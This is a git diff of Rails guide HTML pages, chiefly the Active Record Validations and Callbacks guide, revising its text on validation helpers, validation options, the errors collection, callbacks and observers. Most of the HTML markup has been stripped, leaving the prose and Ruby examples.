If you want to find the minimum value of a field in your table you can call the minimum method on the class that relates to the table. This method call will look something like this:

+
+
+
Client.minimum("age")
+

For options, please see the parent section, Calculations

+

18.4. Maximum

+

If you want to find the maximum value of a field in your table you can call the maximum method on the class that relates to the table. This method call will look something like this:

+
+
+
Client.maximum("age")
+

For options, please see the parent section, Calculations

+

18.5. Sum

+

If you want to find the sum of a field for all records in your table you can call the sum method on the class that relates to the table. This method call will look something like this:

+
+
+
Client.sum("orders_count")
+

For options, please see the parent section, Calculations

+
+

19. Changelog

+
+ +
    +
  • +

    +December 29 2008: Initial version by Ryan Bigg +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html b/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html index 0aa507a9..be556283 100644 --- a/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html +++ b/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html @@ -1,287 +1,185 @@ - - Active Record Validations and Callbacks - - - - - + + Active Record Validations and Callbacks + + + + - +

This validation will work with all the association types.

- +
Caution Pay attention not to use validates_associated on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.Don’t use validates_associated on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.
-

The default error message for validates_associated is "is invalid". Note that the errors for each failed validation in the associated objects will be set there and not in this model.

-

3.3. The validates_confirmation_of helper

-

You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with _confirmation appended.

+

The default error message for validates_associated is "is invalid". Note that each associated object will contain its own errors collection; errors do not bubble up to the calling model.

+

2.3. The validates_confirmation_of helper

+

You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with _confirmation appended.

class Person < ActiveRecord::Base
   validates_confirmation_of :email
-end
-
-

In your view template you could use something like

+end
+

In your view template you could use something like

-
+
<%= text_field :person, :email %>
-<%= text_field :person, :email_confirmation %>
-
+<%= text_field :person, :email_confirmation %>
- +
Note This check is performed only if email_confirmation is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at validates_presence_of later on this guide):This check is performed only if email_confirmation is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we’ll take a look at validates_presence_of later on this guide):
@@ -444,63 +346,48 @@ http://www.gnu.org/software/src-highlite -->
class Person < ActiveRecord::Base
   validates_confirmation_of :email
   validates_presence_of :email_confirmation
-end
-
-

The default error message for validates_confirmation_of is "doesn't match confirmation"

-

3.4. The validates_each helper

-

This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to validates_each will be tested against it. In the following example, we don't want names and surnames to begin with lower case.

-
-
-
class Person < ActiveRecord::Base
-  validates_each :name, :surname do |model, attr, value|
-    model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
-  end
-end
-
-

The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid.

-

3.5. The validates_exclusion_of helper

-

This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.

+end +

The default error message for validates_confirmation_of is "doesn’t match confirmation"

+

2.4. The validates_exclusion_of helper

+

This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.

class MovieFile < ActiveRecord::Base
-  validates_exclusion_of :format, :in => %w(mov avi), :message => "Extension %s is not allowed"
-end
-
-

The validates_exclusion_of helper has an option :in that receives the set of values that will not be accepted for the validated attributes. The :in option has an alias called :within that you can use for the same purpose, if you'd like to. In the previous example we used the :message option to show how we can personalize it with the current attribute's value, through the %s format mask.

-

The default error message for validates_exclusion_of is "is not included in the list".

-

3.6. The validates_format_of helper

-

This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the :with option.

+ validates_exclusion_of :format, :in => %w(mov avi), + :message => "Extension %s is not allowed" +end +

The validates_exclusion_of helper has an option :in that receives the set of values that will not be accepted for the validated attributes. The :in option has an alias called :within that you can use for the same purpose, if you’d like to. This example uses the :message option to show how you can personalize it with the current attribute’s value, through the %s format mask.

+

The default error message for validates_exclusion_of is "is not included in the list".

+

2.5. The validates_format_of helper

+

This helper validates the attributes' values by testing whether they match a given pattern. This pattern must be specified using a Ruby regular expression, which is specified using the :with option.

class Product < ActiveRecord::Base
-  validates_format_of :description, :with => /^[a-zA-Z]+$/, :message => "Only letters allowed"
-end
-
-

The default error message for validates_format_of is "is invalid".

-

3.7. The validates_inclusion_of helper

-

This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.

+ validates_format_of :description, :with => /^[a-zA-Z]+$/, + :message => "Only letters allowed" +end +

The default error message for validates_format_of is "is invalid".

+

2.6. The validates_inclusion_of helper

+

This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.

class Coffee < ActiveRecord::Base
-  validates_inclusion_of :size, :in => %w(small medium large), :message => "%s is not a valid size"
-end
-
-

The validates_inclusion_of helper has an option :in that receives the set of values that will be accepted. The :in option has an alias called :within that you can use for the same purpose, if you'd like to. In the previous example we used the :message option to show how we can personalize it with the current attribute's value, through the %s format mask.

-

The default error message for validates_inclusion_of is "is not included in the list".

-

3.8. The validates_length_of helper

-

This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways.

+ validates_inclusion_of :size, :in => %w(small medium large), + :message => "%s is not a valid size" +end +

The validates_inclusion_of helper has an option :in that receives the set of values that will be accepted. The :in option has an alias called :within that you can use for the same purpose, if you’d like to. The previous example uses the :message option to show how you can personalize it with the current attribute’s value, through the %s format mask.

+

The default error message for validates_inclusion_of is "is not included in the list".

+

2.7. The validates_length_of helper

+

This helper validates the length of your attribute’s value. It includes a variety of different options, so you can specify length constraints in different ways:

validates_length_of :bio, :maximum => 500 validates_length_of :password, :in => 6..20 validates_length_of :registration_number, :is => 6 -end -
-

The possible length constraint options are:

-
+

The possible length constraint options are:

+
-

The default error messages depend on the type of length validation being performed. You can personalize these messages, using the :wrong_length, :too_long and :too_short options and the %d format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the :message option to specify an error message.

+

The default error messages depend on the type of length validation being performed. You can personalize these messages, using the :wrong_length, :too_long and :too_short options and the %d format mask as a placeholder for the number corresponding to the length constraint being used. You can still use the :message option to specify an error message.

class Person < ActiveRecord::Base
   validates_length_of :bio, :too_long => "you're writing too much. %d characters is the maximum allowed."
-end
-
-

This helper has an alias called validates_size_of, it's the same helper with a different name. You can use it if you'd like to.

-

3.9. The validates_numericallity_of helper

-

This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the :integer_only option set to true, you can specify that only integral numbers are allowed.

-

If you use :integer_only set to true, then it will use the /\A[+\-]?\d+\Z/ regular expression to validate the attribute's value. Otherwise, it will try to convert the value using Kernel.Float.

+end +

The validates_size_of helper is an alias for validates_length_of.

+

2.8. The validates_numericality_of helper

+

This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the :integer_only option set to true, you can specify that only integral numbers are allowed.

+

If you set :integer_only to true, then it will use the $$/\A[\-]?\d+\Z/ regular expression to validate the attribute’s value. Otherwise, it will try to convert the value to a number using +Kernel.Float.

class Player < ActiveRecord::Base
-  validates_numericallity_of :points
-  validates_numericallity_of :games_played, :integer_only => true
-end
-
-

The default error message for validates_numericallity_of is "is not a number".

-

3.10. The validates_presence_of helper

-

This helper validates that the attributes are not empty. It uses the blank? method to check if the value is either nil or an empty string (if the string has only spaces, it will still be considered empty).

+ validates_numericality_of :points + validates_numericality_of :games_played, :only_integer => true +end +

Besides :only_integer, the validates_numericality_of helper also accepts the following options to add constraints to acceptable values:

+
+

The default error message for validates_numericality_of is "is not a number".

+

2.9. The validates_presence_of helper

+

This helper validates that the specified attributes are not empty. It uses the blank? method to check if the value is either nil or an empty string (if the string has only spaces, it will still be considered empty).

class Person < ActiveRecord::Base
   validates_presence_of :name, :login, :email
-end
-
+end
- +
Note If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself.If you want to be sure that an association is present, you’ll need to test whether the foreign key used to map the association is present, and not the associated object itself.
@@ -588,19 +509,18 @@ http://www.gnu.org/software/src-highlite -->
class LineItem < ActiveRecord::Base
   belongs_to :order
   validates_presence_of :order_id
-end
-
+end
- +
Note If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in ⇒ [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # ⇒ trueIf you want to validate the presence of a boolean field (where the real values are true and false), you should use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true
-

The default error message for validates_presence_of is "can't be empty".

-

3.11. The validates_uniqueness_of helper

-

This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database.

+

The default error message for validates_presence_of is "can’t be empty".

+

2.10. The validates_uniqueness_of helper

+

This helper validates that the attribute’s value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database.

class Account < ActiveRecord::Base
   validates_uniqueness_of :email
-end
-
-

The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.

-

There is a :scope option that you can use to specify other attributes that must be used to define uniqueness:

+end +

The validation happens by performing a SQL query into the model’s table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.

+

There is a :scope option that you can use to specify other attributes that are used to limit the uniqueness check:

class Holiday < ActiveRecord::Base
-  validates_uniqueness_of :name, :scope => :year, :message => "Should happen once per year"
-end
-
-

There is also a :case_sensitive option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true.

+ validates_uniqueness_of :name, :scope => :year, + :message => "Should happen once per year" +end +

There is also a :case_sensitive option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.

class Person < ActiveRecord::Base
   validates_uniqueness_of :name, :case_sensitive => false
-end
-
-

The default error message for validates_uniqueness_of is "has already been taken".

+end +

The default error message for validates_uniqueness_of is "has already been taken".

+

2.11. The validates_each helper

+

This helper validates attributes against a block. It doesn’t have a predefined validation function. You should create one using a block, and every attribute passed to validates_each will be tested against it. In the following example, we don’t want names and surnames to begin with lower case.

+
+
+
class Person < ActiveRecord::Base
+  validates_each :name, :surname do |model, attr, value|
+    model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
+  end
+end
+

The block receives the model, the attribute’s name and the attribute’s value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.

-

4. Common validation options

+

3. Common Validation Options

-

There are some common options that all the validation helpers can use. Here they are, except for the :if and :unless options, which we'll cover right at the next topic.

-

4.1. The :allow_nil option

-

You may use the :allow_nil option everytime you just want to trigger a validation if the value being validated is not nil. You may be asking yourself if it makes any sense to use :allow_nil and validates_presence_of together. Well, it does. Remember, validation will be skipped only for nil attributes, but empty strings are not considered nil.

+

There are some common options that all the validation helpers can use. Here they are, except for the :if and :unless options, which are discussed later in the conditional validation topic.

+

3.1. The :allow_nil option

+

The :allow_nil option skips the validation when the value being validated is nil. You may be asking yourself if it makes any sense to use :allow_nil and validates_presence_of together. Well, it does. Remember, the validation will be skipped only for nil attributes, but empty strings are not considered nil.

class Coffee < ActiveRecord::Base
   validates_inclusion_of :size, :in => %w(small medium large),
     :message => "%s is not a valid size", :allow_nil => true
+end
+

3.2. The :allow_blank option

+

The :allow_blank: option is similar to the +:allow_nil option. This option will let validation pass if the attribute’s value is nil or an empty string, i.e., any value that returns true for blank?.

+
+
+
class Topic < ActiveRecord::Base
+  validates_length_of :title, :is => 5, :allow_blank => true
 end
-
-

4.2. The :message option

-

As stated before, the :message option lets you specify the message that will be added to the errors collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.

-

4.3. The :on option

-

As stated before, the :on option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use :on => :create to run the validation only when a new record is created or :on => :update to run the validation only when a record is updated.

+ +Topic.create("title" => "").valid? # => true +Topic.create("title" => nil).valid? # => true
+

3.3. The :message option

+

As you’ve already seen, the :message option lets you specify the message that will be added to the errors collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper, together with the attribute name.

+

3.4. The :on option

+

The :on option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you’re creating a new record and when you’re updating it). If you want to change it, you can use :on => :create to run the validation only when a new record is created or :on => :update to run the validation only when a record is updated.

class Person < ActiveRecord::Base
-  validates_uniqueness_of :email, :on => :create # => it will be possible to update email with a duplicated value
-  validates_numericallity_of :age, :on => :update # => it will be possible to create the record with a 'non-numerical age'
-  validates_presence_of :name, :on => :save # => that's the default
-end
-
+ # => it will be possible to update email with a duplicated value + validates_uniqueness_of :email, :on => :create + + # => it will be possible to create the record with a 'non-numerical age' + validates_numericality_of :age, :on => :update + + # => the default (validates on both create and update) + validates_presence_of :name, :on => :save +end -

5. Conditional validation

+

4. Conditional validation

-

Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the :if and :unless options, which can take a symbol, a string or a Ruby Proc. You may use the :if option when you want to specify when the validation should happen. If you want to specify when the validation should not happen, then you may use the :unless option.

-

5.1. Using a symbol with the :if and :unless options

-

You can associated the :if and :unless options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.

+

Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the :if and :unless options, which can take a symbol, a string or a Ruby Proc. You may use the :if option when you want to specify when the validation should happen. If you want to specify when the validation should not happen, then you may use the :unless option.

+

4.1. Using a symbol with the :if and :unless options

+

You can associate the :if and :unless options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.

def paid_with_card? payment_type == "card" end -end -
-

5.2. Using a string with the :if and :unless options

-

You can also use a string that will be evaluated using :eval and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.

+end
+

4.2. Using a string with the :if and :unless options

+

You can also use a string that will be evaluated using :eval and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.

class Person < ActiveRecord::Base
   validates_presence_of :surname, :if => "name.nil?"
-end
-
-

5.3. Using a Proc object with the :if and :unless options

-

Finally, it's possible to associate :if and :unless with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.

+end +

4.3. Using a Proc object with the :if and :unless options

+

Finally, it’s possible to associate :if and :unless with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.

class Account < ActiveRecord::Base
-  validates_confirmation_of :password, :unless => Proc.new { |a| a.password.blank? }
-end
-
+ validates_confirmation_of :password, + :unless => Proc.new { |a| a.password.blank? } +end -

6. Writing your own validation methods

+

5. Writing your own validation methods

-

When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the validate, validate_on_create or validate_on_update methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's errors collection.

+

When the built-in validation helpers are not enough for your needs, you can write your own validation methods. You can do that by implementing methods that verify the state of your models and add messages to their errors collection when they are invalid. You must then register those methods by using one or more of the validate, validate_on_create or validate_on_update class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be ran in the same order as they were registered.

class Invoice < ActiveRecord::Base
-  def validate_on_create
-    errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today
-  end
-end
-
-

If your validation rules are too complicated and you want to break it in small methods, you can implement all of them and call one of validate, validate_on_create or validate_on_update methods, passing it the symbols for the methods' names.

-
-
-
class Invoice < ActiveRecord::Base
-  validate :expiration_date_cannot_be_in_the_past, :discount_cannot_be_more_than_total_value
+  validate :expiration_date_cannot_be_in_the_past,
+    :discount_cannot_be_more_than_total_value
 
   def expiration_date_cannot_be_in_the_past
-    errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today
+    errors.add(:expiration_date, "can't be in the past") if
+      !expiration_date.blank? and expiration_date < Date.today
   end
 
   def discount_cannot_be_greater_than_total_value
-    errors.add(:discount, "can't be greater than total value") unless discount <= total_value
+    errors.add(:discount, "can't be greater than total value") unless
+      discount <= total_value
   end
-end
-
+end
+

You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses:

+
+
+
module ActiveRecord
+  module Validations
+    module ClassMethods
+      def validates_email_format_of(value)
+        validates_format_of value,
+          :with => /\A[\w\._%-]+@[\w\.-]+\.[a-zA-Z]{2,4}\z/,
+          :if => Proc.new { |u| !u.email.blank? },
+          :message => "Invalid format for email address"
+      end
+    end
+  end
+end
+

The recipe is simple: just create a new validation method inside the ActiveRecord::Validations::ClassMethods module. You can put this code in a file inside your application’s lib folder, and then requiring it from your environment.rb or any other file inside config/initializers. You can use this helper like this:

+
+
+
class Person < ActiveRecord::Base
+  validates_email_format_of :email_address
+end
-

7. Changelog

+

6. Manipulating the errors collection

- +

You can do more than just call valid? upon your objects based on the existance of the errors collection. Here is a list of the other available methods that you can use to manipulate errors or ask for an object’s state.

+
    +
  • +

    +add_to_base lets you add errors messages that are related to the object’s state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of it’s attributes. add_to_base receives a string with the message. +

    +
  • +
+
+
+
class Person < ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors.add_to_base("This person is invalid because ...")
+  end
+end
+
    +
  • +

    +add lets you manually add messages that are related to particular attributes. When writing those messages, keep in mind that Rails will prepend them with the name of the attribute that holds the error, so write it in a way that makes sense. add receives a symbol with the name of the attribute that you want to add the message to and the message itself. +

    +
  • +
+
+
+
class Person < ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors.add(:name, "can't have the characters !@#$%*()_-+=")
+  end
+end
+
    +
  • +

    +invalid? is used when you want to check if a particular attribute is invalid. It receives a symbol with the name of the attribute that you want to check. +

    +
  • +
+
+
+
class Person < ActiveRecord::Base
+  validates_presence_of :name, :email
+end
+
+person = Person.new(:name => "John Doe")
+person.invalid?(:email) # => true
+
    +
  • +

    +on is used when you want to check the error messages for a specific attribute. It will return different kinds of objects depending on the state of the errors collection for the given attribute. If there are no errors related to the attribute, on will return nil. If there is just one errors message for this attribute, on will return a string with the message. When errors holds two or more error messages for the attribute, on will return an array of strings, each one with one error message. +

    +
  • +
+
+
+
class Person < ActiveRecord::Base
+  validates_presence_of :name
+  validates_length_of :name, :minimum => 3
+end
+
+person = Person.new(:name => "John Doe")
+person.valid? # => true
+person.errors.on(:name) # => nil
+
+person = Person.new(:name => "JD")
+person.valid? # => false
+person.errors.on(:name)
+# => "is too short (minimum is 3 characters)"
+
+person = Person.new
+person.valid? # => false
+person.errors.on(:name)
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+
    +
  • +

    +clear is used when you intentionally want to clear all the messages in the errors collection. However, calling errors.clear upon an invalid object won’t make it valid: the errors collection will now be empty, but the next time you call valid? or any method that tries to save this object to the database, the validations will run. If any of them fails, the errors collection will get filled again. +

    +
  • +
+
+
+
class Person < ActiveRecord::Base
+  validates_presence_of :name
+  validates_length_of :name, :minimum => 3
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.on(:name)
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+p.save # => false
+p.errors.on(:name)
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+

7. Using the errors collection in your view templates

+
+

Rails provides built-in helpers to display the error messages of your models in your view templates. When creating a form with the form_for helper, you can use the error_messages method on the form builder to render all failed validation messages for the current model instance.

+
+
+
class Product < ActiveRecord::Base
+  validates_presence_of :description, :value
+  validates_numericality_of :value, :allow_nil => true
+end
+
+
+
<% form_for(@product) do |f| %>
+  <%= f.error_messages %>
+  <p>
+    <%= f.label :description %><br />
+    <%= f.text_field :description %>
+  </p>
+  <p>
+    <%= f.label :value %><br />
+    <%= f.text_field :value %>
+  </p>
+  <p>
+    <%= f.submit "Create" %>
+  </p>
+<% end %>
+
+
+
+Error messages +
+
+

You can also use the error_messages_for helper to display the error messages of a model assigned to a view template. It’s very similar to the previous example and will achieve exactly the same result.

+
+
+
<%= error_messages_for :product %>
+
+

The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.

+

Both the form.error_messages and the error_messages_for helpers accept options that let you customize the div element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.

+
+
+
<%= f.error_messages :header_message => "Invalid product!",
+  :message => "You'll need to fix the following fields:",
+  :header_tag => :h3 %>
+
+

Which results in the following content

+
+
+Customized error messages +
+
+

If you pass nil to any of these options, it will get rid of the respective section of the div.

+

It’s also possible to change the CSS classes used by the error_messages helper. These classes are automatically defined at the scaffold.css file, generated by the scaffold script. If you’re not using scaffolding, you can still define those CSS classes at your CSS files. Here is a list of the default CSS classes.

+
    +
  • +

    +.fieldWithErrors - Style for the form fields with errors. +

    +
  • +
  • +

    +#errorExplanation - Style for the div element with the error messages. +

    +
  • +
  • +

    +#errorExplanation h2 - Style for the header of the div element. +

    +
  • +
  • +

    +#errorExplanation p - Style for the paragraph that holds the message that appears right below the header of the div element. +

    +
  • +
  • +

    +#errorExplanation ul li - Style for the list of error messages. +

    +
  • +
+

7.1. Changing the way form fields with errors are displayed

+

By default, form fields with errors are displayed enclosed by a div element with the fieldWithErrors CSS class. However, we can write some Ruby code to override the way Rails treats those fields by default. Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a span element with a validation-error CSS class. There will be no div element enclosing the input element, so we get rid of that red border around the text field. You can use the validation-error CSS class to style it anyway you want.

+
+
+
ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
+  if instance.error_message.kind_of?(Array)
+    %(#{html_tag}<span class='validation-error'>&nbsp;
+      #{instance.error_message.join(',')}</span>)
+  else
+    %(#{html_tag}<span class='validation-error'>&nbsp;
+      #{instance.error_message}</span>)
+  end
+end
+

This will result in something like the following content:

+
+
+Validation error messages +
+
+

The way form fields with errors are treated is defined by the ActionView::Base.field_error_proc Ruby Proc. This Proc receives two parameters:

+
    +
  • +

    +A string with the HTML tag +

    +
  • +
  • +

    +An object of the ActionView::Helpers::InstanceTag class. +

    +
  • +
+
+

8. Callbacks

+
+

Callbacks are methods that get called at certain moments of an object’s lifecycle. With callbacks it’s possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database.

+

8.1. Callbacks registration

+

In order to use the available callbacks, you need to registrate them. You can do that by implementing them as an ordinary methods, and then using a macro-style class method to register then as callbacks.

+
+
+
class User < ActiveRecord::Base
+  validates_presence_of :login, :email
+
+  before_validation :ensure_login_has_a_value
+
+  protected
+  def ensure_login_has_a_value
+    if self.login.nil?
+      self.login = email unless email.blank?
+    end
+  end
+end
+

The macro-style class methods can also receive a block. Rails best practices say that you should only use this style of registration if the code inside your block is so short that it fits in just one line.

+
+
+
class User < ActiveRecord::Base
+  validates_presence_of :login, :email
+
+  before_create {|user| user.name = user.login.capitalize if user.name.blank?}
+end
+
+ + + +
+Caution +Remember to always declare the callback methods as being protected or private. These methods should never be public, otherwise it will be possible to call them from code outside the model, violating object encapsulation and exposing implementation details.
+
+
+

9. Conditional callbacks

+
+

Like in validations, we can also make our callbacks conditional, calling then only when a given predicate is satisfied. You can do that by using the :if and :unless options, which can take a symbol, a string or a Ruby Proc. You may use the :if option when you want to specify when the callback should get called. If you want to specify when the callback should not be called, then you may use the :unless option.

+

9.1. Using a symbol with the :if and :unless options

+

You can associate the :if and :unless options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns false the callback won’t be executed. This is the most common option. Using this form of registration it’s also possible to register several different methods that should be called to check the if the callback should be executed.

+
+
+
class Order < ActiveRecord::Base
+  before_save :normalize_card_number, :if => :paid_with_card?
+end
+

9.2. Using a string with the :if and :unless options

+

You can also use a string that will be evaluated using :eval and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.

+
+
+
class Order < ActiveRecord::Base
+  before_save :normalize_card_number, :if => "paid_with_card?"
+end
+

9.3. Using a Proc object with the :if and :unless options

+

Finally, it’s possible to associate :if and :unless with a Ruby Proc object. This option is best suited when writing short validation methods, usually one-liners.

+
+
+
class Order < ActiveRecord::Base
+  before_save :normalize_card_number,
+    :if => Proc.new { |order| order.paid_with_card? }
+end
+

9.4. Multiple Conditions for Callbacks

+

When writing conditional callbacks, it’s possible to mix both :if and :unless in the same callback declaration.

+
+
+
class Comment < ActiveRecord::Base
+  after_create :send_email_to_author, :if => :author_wants_emails?,
+    :unless => Proc.new { |comment| comment.post.ignore_comments? }
+end
+
+

10. Available callbacks

+
+

Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations.

+

10.1. Callbacks called both when creating or updating a record.

+
    +
  • +

    +before_validation +

    +
  • +
  • +

    +after_validation +

    +
  • +
  • +

    +before_save +

    +
  • +
  • +

    +INSERT OR UPDATE OPERATION +

    +
  • +
  • +

    +after_save +

    +
  • +
+

10.2. Callbacks called only when creating a new record.

+
    +
  • +

    +before_validation_on_create +

    +
  • +
  • +

    +after_validation_on_create +

    +
  • +
  • +

    +before_create +

    +
  • +
  • +

    +INSERT OPERATION +

    +
  • +
  • +

    +after_create +

    +
  • +
+

10.3. Callbacks called only when updating an existing record.

+
    +
  • +

    +before_validation_on_update +

    +
  • +
  • +

    +after_validation_on_update +

    +
  • +
  • +

    +before_update +

    +
  • +
  • +

    +UPDATE OPERATION +

    +
  • +
  • +

    +after_update +

    +
  • +
+

10.4. Callbacks called when removing a record from the database.

+
    +
  • +

    +before_destroy +

    +
  • +
  • +

    +DELETE OPERATION +

    +
  • +
  • +

    +after_destroy +

    +
  • +
+

The before_destroy and after_destroy callbacks will only be called if you delete the model using either the destroy instance method or one of the destroy or destroy_all class methods of your Active Record class. If you use delete or delete_all no callback operations will run, since Active Record will not instantiate any objects, accessing the records to be deleted directly in the database.

+

10.5. The after_initialize and after_find callbacks

+

The after_initialize callback will be called whenever an Active Record object is instantiated, either by direcly using new or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record initialize method.

+

The after_find callback will be called whenever Active Record loads a record from the database. When used together with after_initialize it will run first, since Active Record will first read the record from the database and them create the model object that will hold it.

+

The after_initialize and after_find callbacks are a bit different from the others, since the only way to register those callbacks is by defining them as methods. If you try to register after_initialize or after_find using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since after_initialize and after_find will both be called for each record found in the database, significantly slowing down the queries.

+
+

11. Halting Execution

+
+

As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model’s validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the before_create, before_save, before_update or before_destroy callback methods returns a boolean false (not nil) value or raise and exception, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on. It’s because the whole callback chain is wrapped in a transaction, so raising an exception or returning false fires a database ROLLBACK.

+
+

12. Callback classes

+
+

Sometimes the callback methods that you’ll write will be useful enough to be reused at other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.

+

Here’s an example where we create a class with a after_destroy callback for a PictureFile model.

+
+
+
class PictureFileCallbacks
+  def after_destroy(picture_file)
+    File.delete(picture_file.filepath) if File.exists?(picture_file.filepath)
+  end
+end
+

When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:

+
+
+
class PictureFile < ActiveRecord::Base
+  after_destroy PictureFileCallbacks.new
+end
+

Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.

+
+
+
class PictureFileCallbacks
+  def self.after_destroy(picture_file)
+    File.delete(picture_file.filepath) if File.exists?(picture_file.filepath)
+  end
+end
+

If the callback method is declared this way, it won’t be necessary to instantiate a PictureFileCallbacks object.

+
+
+
class PictureFile < ActiveRecord::Base
+  after_destroy PictureFileCallbacks
+end
+

You can declare as many callbacks as you want inside your callback classes.

+
+

13. Observers

+
+

Active Record callbacks are a powerful feature, but they can pollute your model implementation with code that’s not directly related to the model’s purpose. In object-oriented software, it’s always a good idea to design your classes with a single responsibility in the whole system. For example, it wouldn’t make much sense to have a User model with a method that writes data about a login attempt to a log file. Whenever you’re using callbacks to write code that’s not directly related to your model class purposes, it may be a good moment to create an Observer.

+

An Active Record Observer is an object that links itself to a model and registers its methods for callbacks. Your model’s implementation remains clean, while you can reuse the code in the Observer to add behaviour to more than one model class. OK, you may say that we can also do that using callback classes, but it would still force us to add code to our model’s implementation.

+

Observer classes are subclasses of the ActiveRecord::Observer class. When this class is subclassed, Active Record will look at the name of the new class and then strip the Observer part to find the name of the Active Record class to observe.

+

Consider a Registration model, where we want to send an email every time a new registration is created. Since sending emails is not directly related to our model’s purpose, we could create an Observer to do just that:

+
+
+
class RegistrationObserver < ActiveRecord::Observer
+  def after_create(model)
+    # code to send registration confirmation emails...
+  end
+end
+

Like in callback classes, the observer’s methods receive the observed model as a parameter.

+

Sometimes using the ModelName + Observer naming convention won’t be the best choice, mainly when you want to use the same observer for more than one model class. It’s possible to explicity specify the models that our observer should observe.

+
+
+
class Auditor < ActiveRecord::Observer
+  observe User, Registration, Invoice
+end
+

13.1. Registering observers

+

